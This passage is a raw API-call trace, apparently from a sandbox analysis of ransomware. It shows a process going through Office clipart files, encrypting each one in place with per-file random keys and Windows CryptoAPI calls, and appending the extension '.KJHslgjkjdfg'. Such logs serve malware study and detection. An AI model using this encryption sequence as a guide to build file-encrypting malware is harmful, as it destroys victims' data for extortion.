lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.818] GetProcessHeap () returned 0x2a0000 [0186.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.818] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.820] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.820] GetProcessHeap () returned 0x2a0000 [0186.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.820] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.821] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.821] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x984, lpOverlapped=0x0) returned 1 [0186.821] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x990, dwBufLen=0x990 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x990) returned 1 [0186.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.821] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x990, lpOverlapped=0x0) returned 1 [0186.821] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.821] SetEndOfFile (hFile=0x114) returned 1 [0186.823] GetProcessHeap () returned 0x2a0000 [0186.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.824] GetProcessHeap () returned 0x2a0000 [0186.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.kjhslgjkjdfg")) returned 1 [0186.825] CloseHandle (hObject=0x114) returned 1 [0186.825] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0186.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.826] GetProcessHeap () returned 0x2a0000 [0186.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.826] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.826] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.828] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.828] GetProcessHeap () returned 0x2a0000 [0186.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.828] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.828] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.829] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.829] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.829] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x59c, lpOverlapped=0x0) returned 1 [0186.829] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5a0) returned 1 [0186.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.829] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5a0, lpOverlapped=0x0) returned 1 [0186.829] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.829] SetEndOfFile (hFile=0x114) returned 1 [0186.831] GetProcessHeap () returned 0x2a0000 [0186.831] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.831] GetProcessHeap () returned 0x2a0000 [0186.831] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.kjhslgjkjdfg")) returned 1 [0186.833] CloseHandle (hObject=0x114) returned 1 [0186.833] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0186.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.836] GetProcessHeap () returned 0x2a0000 [0186.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.836] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.837] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.839] GetProcessHeap () returned 0x2a0000 [0186.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.839] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.839] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3f9c, lpOverlapped=0x0) returned 1 [0186.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3fa0, dwBufLen=0x3fa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3fa0) returned 1 [0186.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.841] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3fa0, lpOverlapped=0x0) returned 1 [0186.841] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.841] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.841] SetEndOfFile (hFile=0x114) returned 1 [0186.843] GetProcessHeap () returned 0x2a0000 [0186.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.843] GetProcessHeap () returned 0x2a0000 [0186.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.kjhslgjkjdfg")) returned 1 [0186.844] CloseHandle (hObject=0x114) returned 1 [0186.844] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0186.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.845] GetProcessHeap () returned 0x2a0000 [0186.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.845] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.847] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.848] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.848] GetProcessHeap () returned 0x2a0000 [0186.848] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.848] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.848] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.848] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.848] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.848] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.848] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.848] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.848] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.848] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.848] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1418, lpOverlapped=0x0) returned 1 [0186.849] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420, dwBufLen=0x1420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420) returned 1 [0186.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.849] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1420, lpOverlapped=0x0) returned 1 [0186.849] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.849] SetEndOfFile (hFile=0x114) returned 1 [0186.852] GetProcessHeap () returned 0x2a0000 [0186.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.852] GetProcessHeap () returned 0x2a0000 [0186.852] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.kjhslgjkjdfg")) returned 1 [0186.853] CloseHandle (hObject=0x114) returned 1 [0186.853] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0186.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.854] GetProcessHeap () returned 0x2a0000 [0186.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.854] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0186.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.856] GetProcessHeap () returned 0x2a0000 [0186.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.856] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 